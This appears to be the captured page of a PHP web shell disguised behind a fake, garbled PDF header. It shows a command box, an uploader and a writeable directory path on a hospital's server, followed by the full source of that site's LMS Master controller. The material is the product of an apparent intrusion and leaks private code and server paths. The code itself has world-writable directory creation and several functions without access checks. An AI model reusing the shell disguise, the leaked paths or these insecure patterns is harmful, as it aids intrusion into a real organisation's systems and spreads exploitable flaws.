%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/Master.php
<?php
class Master extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res(); 
        $this->load->model("master_model", "master");
        $this->load->model("dataset_model", "dataset");
    }

    function all_campus(){
        $res['result']=$this->common->all_campus();
		$this->json_data($res);
    }
    
	/** Program Types */
	function programTypes(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->programTypes();
		$this->json_data($res);
	}
		
	function saveProgramType(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Title', "required|is_unique[master_program_types.title.id!='$id']", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'disp_odr', 'status'));
				if($this->common->save($data, "master_program_types")){
					$inf['success']='T';
					$inf['msg']='Program type '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function programTypeDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->programTypeDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteProgramType(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteProgramType($id)){
			$inf['success']='T';
			$inf['msg']="Program type deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */
	
	/** Academic Careers */
	function academicCareers(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->academicCareers();
		$this->json_data($res);
	}
		
	function saveAcademicCareer(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Title', "required|is_unique[master_academic_careers.title.id!='$id']", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'disp_odr', 'req_10th', 'req_12th', 'req_ug', 'req_pg', 'status'));
				if($this->common->save($data, "master_academic_careers")){
					$inf['success']='T';
					$inf['msg']='Academic career '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function academicCareerDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->academicCareerDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteAcademicCareer(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteAcademicCareer($id)){
			$inf['success']='T';
			$inf['msg']="Academic career deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Discipline */
	function disciplines(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->disciplines();
		$this->json_data($res);
	}
		
	function saveDiscipline(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Title', "required|is_unique[master_disciplines.title.id!='$id']", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'disp_odr', 'status'));
				if($this->common->save($data, "master_disciplines")){
					$inf['success']='T';
					$inf['msg']='Discipline '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function disciplineDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->disciplineDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteDiscipline(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteDiscipline($id)){
			$inf['success']='T';
			$inf['msg']="Discipline deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Schools */
	function schools(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->schools();
		$this->json_data($res);
	}
		
	function saveSchool(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
        $id=$post['id']=intval($post['id']);
        $this->form_validation->set_rules('title', 'Title', "required|is_unique[master_schools.title.id!='$id']", $this->req);
        $this->form_validation->set_rules('ps_code', 'PS Code', "is_unique[master_schools.ps_code.id!='$id']", $this->req);
        
        $inf['success']='F';
        if(@$this->form_validation->run() == FALSE){
            $inf['errors']=$this->form_validation->get_errors();
            $inf['msg']=reset($inf['errors']);
        }else{
            $data=filter_value($post, array('id', 'title', 'ps_code', 'website', 'disp_odr', 'established_in', 'subtitle', 'status'));

            /** Brochure */
            if($_FILES['brochure']['name'] && strtolower(get_ext($_FILES['brochure']['name'])) == 'pdf'){
                $oldpdf='';
                if($id){
                    $oldpdf=$this->db->select("brochure")->get_where("master_schools", array('id'=>$id))->row()->brochure;
                }
                $filename=append_to_filename($_FILES['brochure']['name'], time());
                if(move_uploaded_file($_FILES['brochure']['tmp_name'],UP_PATHF.'brochure/'.$filename)){
                    $data['brochure']=$filename;
                    if($oldimg){
                        del_file(UP_PATHF.'brochure/'.$oldpdf);
                    }
                }
            }
            /** \ */

            if($this->common->save($data, "master_schools")){
                $inf['success']='T';
                $inf['msg']='School '.($id?'updated':'added').' successfully';
            }
        }
        $this->json_data($inf);
	}
	
	function schoolDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->schoolDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteSchool(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteSchool($id)){
			$inf['success']='T';
			$inf['msg']="School deleted successfully";
		}
		$this->json_data($inf);
    }
    
    function removeSchoolBrochure(){
		$inf=array('success'=>'F', 'msg'=>'Can not removed!');
		$id=intval($this->input->post('id'));
		$img=$this->db->select("brochure")->get_where("master_schools", array('id'=>$id))->row()->brochure;
		if($this->common->save(array('id'=>$id, 'brochure'=>''), "master_schools")){
			if($img){
				del_file(UP_PATHF.'brochure/'.$img);
			}
			$inf['success']='T';
			$inf['msg']="Brochure removed successfully";
		}
		$this->json_data($inf);
	}

	function schoolAccreditations(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->schoolAccreditations($this->input->post("school_id"));
		$this->json_data($res);
	}

	function saveSchoolAccreditation(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
        $id=$post['id']=intval($post['id']);
        $this->form_validation->set_rules('school_id', 'School ID', "required", $this->req);
        $this->form_validation->set_rules('title', 'Title', "required", $this->req);
        
        $inf['success']='F';
        if(@$this->form_validation->run() == FALSE){
            $inf['errors']=$this->form_validation->get_errors();
            $inf['msg']=reset($inf['errors']);
        }else{
            $data=filter_value($post, array('id', 'school_id', 'title', 'description', 'status'));

            /** Image */
			if($_FILES['image']['name'] && check_image_ext($_FILES['image']['name'])){
				if(!is_dir(UP_PATHF.'schools/')){
					mkdir(UP_PATHF.'schools/', 777, true);
				}
				$this->load->library('Image');
				$oldimg='';
				if($id){
					$oldimg=$this->db->select("image")->get_where("school_accreditations", array('id'=>$id))->row()->image;
				}
				$filename=append_to_filename($_FILES['image']['name'], time());
				if($this->image->resize($_FILES['image']['tmp_name'], UP_PATHF.'schools/'.$filename, 600)){
					$data['image']=$filename;
					if($oldimg){
						del_file(UP_PATHF.'schools/'.$oldimg);
					}
				}
			}
			/** \ */

            if($this->common->save($data, "school_accreditations")){
                $inf['success']='T';
                $inf['msg']='Accreditation '.($id?'updated':'added').' successfully';
            }
        }
        $this->json_data($inf);
	}

	function deleteSchoolAccreditation(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$oldimg=$this->db->select("image")->get_where("school_accreditations", array('id'=>$id))->row()->image;
		if($this->master->deleteSchoolAccreditation($id)){
			if($oldimg){
				del_file(UP_PATHF.'schools/'.$oldimg);
			}
			$inf['success']='T';
			$inf['msg']="Accreditation deleted successfully";
		}
		$this->json_data($inf);
    }

	function schoolDeanMessages(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->schoolDeanMessages($this->input->post("school_id"));
		$this->json_data($res);
	}

	function saveSchoolDeanMessage(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
        $id=$post['id']=intval($post['id']);
        $this->form_validation->set_rules('school_id', 'School ID', "required", $this->req);
        $this->form_validation->set_rules('title', 'Dean name', "required", $this->req);
        
        $inf['success']='F';
        if(@$this->form_validation->run() == FALSE){
            $inf['errors']=$this->form_validation->get_errors();
            $inf['msg']=reset($inf['errors']);
        }else{
            $data=filter_value($post, array('id', 'school_id', 'title', 'description', 'status'));

            /** Image */
			if($_FILES['image']['name'] && check_image_ext($_FILES['image']['name'])){
				if(!is_dir(UP_PATHF.'schools/')){
					mkdir(UP_PATHF.'schools/', 777, true);
				}
				$this->load->library('Image');
				$oldimg='';
				if($id){
					$oldimg=$this->db->select("image")->get_where("school_dean_messages", array('id'=>$id))->row()->image;
				}
				$filename=append_to_filename($_FILES['image']['name'], time());
				if($this->image->resize($_FILES['image']['tmp_name'], UP_PATHF.'schools/'.$filename, 600)){
					$data['image']=$filename;
					if($oldimg){
						del_file(UP_PATHF.'schools/'.$oldimg);
					}
				}
			}
			/** \ */

            if($this->common->save($data, "school_dean_messages")){
                $inf['success']='T';
                $inf['msg']='Dean message '.($id?'updated':'added').' successfully';
            }
        }
        $this->json_data($inf);
	}

	function deleteSchoolDeanMessage(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$oldimg=$this->db->select("image")->get_where("school_dean_messages", array('id'=>$id))->row()->image;
		if($this->master->deleteSchoolDeanMessage($id)){
			if($oldimg){
				del_file(UP_PATHF.'schools/'.$oldimg);
			}
			$inf['success']='T';
			$inf['msg']="Dean message deleted successfully";
		}
		$this->json_data($inf);
    }
	/** \ */

	/** Applicat Cats */
	function applicantCats(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->applicantCats();
		$this->json_data($res);
	}
		
	function saveApplicantCat(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_applicat_cats.title.id!='$id']", $this->req);
			$this->form_validation->set_rules('ps_code', 'PS Code', "is_unique[master_applicat_cats.ps_code.id!='$id']", $this->req);

			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'ps_code', 'disp_odr', 'status'));
				if($this->common->save($data, "master_applicat_cats")){
					$inf['success']='T';
					$inf['msg']='Category '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function applicantCatDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->applicantCatDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteApplicantCat(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->db->select("id")->get_where("applicants", array('cat_id'=>$id))->row()->id){
			$this->json_data($inf);
		}
		if($this->master->deleteApplicantCat($id)){
			$inf['success']='T';
			$inf['msg']="Category deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Applicat religions */
	function applicantReligions(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->applicantReligions();
		$this->json_data($res);
	}
		
	function saveApplicantReligion(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_applicat_religions.title.id!='$id']", $this->req);
		$this->form_validation->set_rules('ps_code', 'PS Code', "is_unique[master_applicat_religions.ps_code.id!='$id']", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'ps_code', 'disp_odr', 'status'));
			if($this->common->save($data, "master_applicat_religions")){
				$inf['success']='T';
				$inf['msg']='Religion '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function applicantReligionDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->applicantReligionDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteApplicantReligion(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->db->select("id")->get_where("applicants", array('religion_id'=>$id))->row()->id){
			$this->json_data($inf);
		}
		if($this->master->deleteApplicantReligion($id)){
			$inf['success']='T';
			$inf['msg']="Religion deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Marking Schemes */
	function markingSchemes(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->markingSchemes();
		$this->json_data($res);
	}
		
	function saveMarkingScheme(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_marking_schemes.title.id!='$id']", $this->req);
		$this->form_validation->set_rules('ps_code', 'PS Code', "is_unique[master_marking_schemes.ps_code.id!='$id']", $this->req);
		$this->form_validation->set_rules('allowed_data', 'Allowed Data', "required", $this->req);

		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'ps_code', 'disp_odr', 'allowed_data', 'status'));
			if($this->common->save($data, "master_marking_schemes")){
				$inf['success']='T';
				$inf['msg']='Marking scheme '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function markingSchemeDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->markingSchemeDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteMarkingScheme(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));

		if($this->db->select("id")->from("applicants_edu_details")->where('marking_scheme_id_10th', $id)->or_where('marking_scheme_id_12th', $id)->or_where('marking_scheme_id_ug', $id)->or_where('marking_scheme_id_pg', $id)->get()->row()->id){
			$this->json_data($inf);
		}
		if($this->master->deleteMarkingScheme($id)){
			$inf['success']='T';
			$inf['msg']="Marking scheme deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Edu Boards */
	function eduBoards(){
		$this->checkAccess('manage_masterdata');
		$res['result']=$this->master->eduBoards();
		$this->json_data($res);
	}
		
	function saveEduBoard(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_edu_boards.title.id!='$id']", $this->req);
		$this->form_validation->set_rules('ps_code', 'PS Code', "is_unique[master_edu_boards.ps_code.id!='$id']", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'ps_code', 'status'));
			if($this->common->save($data, "master_edu_boards")){
				$inf['success']='T';
				$inf['msg']='Board '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function eduBoardDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->eduBoardDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteEduBoard(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->db->select("id")->from("applicants_edu_details")->where('board_id_10th', $id)->or_where('board_id_12th', $id)->get()->row()->id){
			$this->json_data($inf);
		}
		if($this->master->deleteEduBoard($id)){
			$inf['success']='T';
			$inf['msg']="Board deleted successfully";
		}
		$this->json_data($inf);
	}

	function uploadBoardExcel(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$this->load->library('excel');
		$rows=$this->excel->read($_FILES['file']['tmp_name']);
		
		$c=0;
		foreach($rows as $i=>$r){
			if($i==0) continue;
			$name=trim($r[0]);
			$pscode=trim($r[1]);
			if($name){
				if(!$this->db->select("id")->get_where("master_edu_boards", array('title'=>$name))->row()->id){
					$d=array('title'=>$name, 'ps_code'=>$pscode, 'status'=>1, 'created_by'=>USER_ID, 'updated_by'=>USER_ID, 'created'=>currentDT(), 'updated'=>currentDT());
					$this->db->insert("master_edu_boards", $d);
					$c++;
				}
			}
		}
		$inf['success']='T';
		$inf['msg']="$c records added";
		$this->json_data($inf);
	}
	/** \ */

	/** University */
	function universities(){
		$this->checkAccess('manage_masterdata');
		$res=$this->master->universities();
		$this->json_data($res);
	}
		
	function saveUniversity(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_universities.title.id!='$id']", $this->req);
		$this->form_validation->set_rules('ps_code', 'PS Code', "is_unique[master_universities.ps_code.id!='$id']", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'ps_code', 'status'));
			if($this->common->save($data, "master_universities")){
				$inf['success']='T';
				$inf['msg']='University '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function universityDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->universityDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteUniversity(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->db->select("id")->from("applicants_edu_details")->where('university_id_ug', $id)->or_where('university_id_pg', $id)->get()->row()->id){
			$this->json_data($inf);
		}
		if($this->master->deleteUniversity($id)){
			$inf['success']='T';
			$inf['msg']="University deleted successfully";
		}
		$this->json_data($inf);
	}

	function uploadUniversityExcel(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$this->load->library('excel');
		$rows=$this->excel->read($_FILES['file']['tmp_name']);
		
		$c=0;
		foreach($rows as $i=>$r){
			if($i==0) continue;
			$name=trim($r[0]);
			$pscode=trim($r[1]);
			if($name){
				if(!$this->db->select("id")->get_where("master_universities", array('title'=>$name))->row()->id){
					$d=array('title'=>$name, 'ps_code'=>$pscode, 'status'=>1, 'created_by'=>USER_ID, 'updated_by'=>USER_ID, 'created'=>currentDT(), 'updated'=>currentDT());
					$this->db->insert("master_universities", $d);
					$c++;
				}
			}
		}
		$inf['success']='T';
		$inf['msg']="$c records added";
		$this->json_data($inf);
	}
	/** \ */

	/** Admin Emalils */
	function reportingUsersEmails(){
		$this->checkAccess('manage_masterdata');
		$res=$this->master->adminEmails();
		$this->json_data($res);
	}

	function saveReportingUsersEmail(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[master_admin_emails.email.id!='$id']", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'email', 'send_payment_alert', 'send_appointment_alert', 'send_issue_alert', 'student_cc', 'daily_report'));
			$data['send_payment_alert']=(int)@$data['send_payment_alert'];
			$data['send_appointment_alert']=(int)@$data['send_appointment_alert'];
            $data['send_issue_alert']=(int)@$data['send_issue_alert'];
            $data['student_cc']=(int)@$data['student_cc'];
            $data['daily_report']=(int)@$data['daily_report'];
			if($this->common->save($data, "master_admin_emails")){
				$inf['success']='T';
				$inf['msg']='Admin Email '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}

	function reportingUserEmailDtl($id){
		$this->checkAccess('manage_masterdata');
		$dtl=$this->master->adminEmailDetal($id);
		$this->json_data($dtl);
	}

	function deleteReportingUserEmail(){
		$this->checkAccess('manage_masterdata');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteAdminEmail($id)){
			$inf['success']='T';
			$inf['msg']="Email deleted successfully";
		}
		$this->json_data($inf);
	}

	/** \ */

	/** GA Code */
	function getGACode(){
		$inf['dtl']=$this->common->getGACode();
		$this->json_data($inf);
	}

	function saveGACode(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());

		$d=array('datavalue'=>$post['head'], 'updated_by'=>USER_ID, 'updated'=>currentDT());
		$this->db->update("master_data", $d, array('datakey'=>'gacode_head'));
		$d=array('datavalue'=>$post['body'], 'updated_by'=>USER_ID, 'updated'=>currentDT());
		$this->db->update("master_data", $d, array('datakey'=>'gacode_body'));
		$d=array('datavalue'=>$post['key'], 'updated_by'=>USER_ID, 'updated'=>currentDT());
		$this->db->update("master_data", $d, array('datakey'=>'gacode_key'));
		
		if($this->db->affected_rows()){
			$inf['success']='T';
			$inf['msg']="Google analytics code updated";
		}
		$this->json_data($inf);
	}
	/** \ */


	/** UTM Sources */
	function utmSources(){
		$this->checkAccess('manage_sources');
		$res['result']=$this->master->utmSources(true);
		$this->json_data($res);
	}
		
	function saveUtmSource(){
		$this->checkAccess('manage_sources');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_utm_sources.title.id!='$id']", $this->req);
			$this->form_validation->set_rules('grp', 'Group name', "required", $this->req);
			$this->form_validation->set_rules('report_grp', 'Report Group name', "required", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'grp', 'report_grp', 'default_for_admin', 'ispaid', 'status'));
				if($this->common->save($data, "master_utm_sources")){
					$inf['success']='T';
					$inf['msg']='Source '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function utmSourceDtl($id){
		$this->checkAccess('manage_sources');
		$dtl=$this->master->utmSourceDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteUtmSource(){
		$this->checkAccess('manage_sources');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteUtmSource($id)){
			$inf['success']='T';
			$inf['msg']="Source deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Coupans */
	function coupans(){
		$this->checkAccess('manage_offers');
		$res['result']=$this->master->coupans();
		$this->json_data($res);
	}
		
	function saveCoupan(){
		$this->checkAccess('manage_offers');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Offer name', "required|is_unique[master_coupans.title.id!='$id']", $this->req);
			$this->form_validation->set_rules('amt', 'Offer value', "required|numeric", $this->req);
			$this->form_validation->set_rules('expiry_date', 'Expiry date', "required", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'amt', 'expiry_date', 'description', 'gender', 'disp_odr', 'status'));
				$data['expiry_date']=to_date_format($data['expiry_date']);
				if($this->common->save($data, "master_coupans")){
					$inf['success']='T';
					$inf['msg']='Offer '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function coupanDtl($id){
		$this->checkAccess('manage_offers');
		$dtl=$this->master->coupanDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteCoupan(){
		$this->checkAccess('manage_offers');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteCoupan($id)){
			$inf['success']='T';
			$inf['msg']="Offer deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** States */
	function states(){
		$this->checkAccess('manage_states_cities');
        $res['result']=$this->master->states();
        $res['coupans']=$this->common->allCoupans(TRUE);
		$this->json_data($res);
	}
		
	function saveState(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Name', "required|is_unique[master_states.title.id!='$id']", $this->req);
			$this->form_validation->set_rules('code', 'Code', "required|is_unique[master_states.code.id!='$id']", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'code', 'app_fee', 'offer_msg', 'status'));
				if($state_id=$this->common->save($data, "master_states")){
                    /** Coupans */
					$this->db->delete("coupans_in_use", array('state_id'=>$state_id));
					if($post['coupans']){
						foreach($post['coupans'] as $coupan_id){
							$d=array('coupan_id'=>$coupan_id, 'state_id'=>$state_id, 'created'=>currentDT(), 'updated'=>currentDT());
							$this->db->insert("coupans_in_use", $d);
						}
					}
					/** \ */

					$inf['success']='T';
					$inf['msg']='State '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function stateDtl($id){
		$this->checkAccess('manage_states_cities');
		$dtl=$this->master->stateDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteState(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteState($id)){
			$inf['success']='T';
			$inf['msg']="State deleted successfully";
		}
		$this->json_data($inf);
	}

	function initCities(){
		$this->checkAccess('manage_states_cities');
		$data['allStates']=$this->common->allStates();
		$this->json_data($data);
	}

	function getCities($stateId=''){
		$this->checkAccess('manage_states_cities');
		$data['cities']=$this->master->cities($stateId);
		$this->json_data($data);
	}

	function saveCity(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		
		$id=$post['id']=intval($post['id']);

		$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
		$this->form_validation->set_rules('title', 'City Name', "required", $this->req); //|is_unique[master_cities.title.id!='$id']
		$this->form_validation->set_rules('pincode', 'Pincode', "required", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'state_id', 'title', 'pincode', 'status'));
			
			if($plan_id=$this->common->save($data, "master_cities")){
				$inf['success']='T';
				$inf['msg']='City '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}

	function cityDetail($id=0){
		$this->checkAccess('manage_states_cities');
		$dtl=$this->master->cityDetail($id);
		$this->json_data($dtl);
	}

	function deleteCity(){
		$this->checkAccess('manage_states_cities');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteCity($id)){
			$inf['success']='T';
			$inf['msg']="City deleted successfully";
		}
		$this->json_data($inf);
	}

	function uploadCityExcel(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
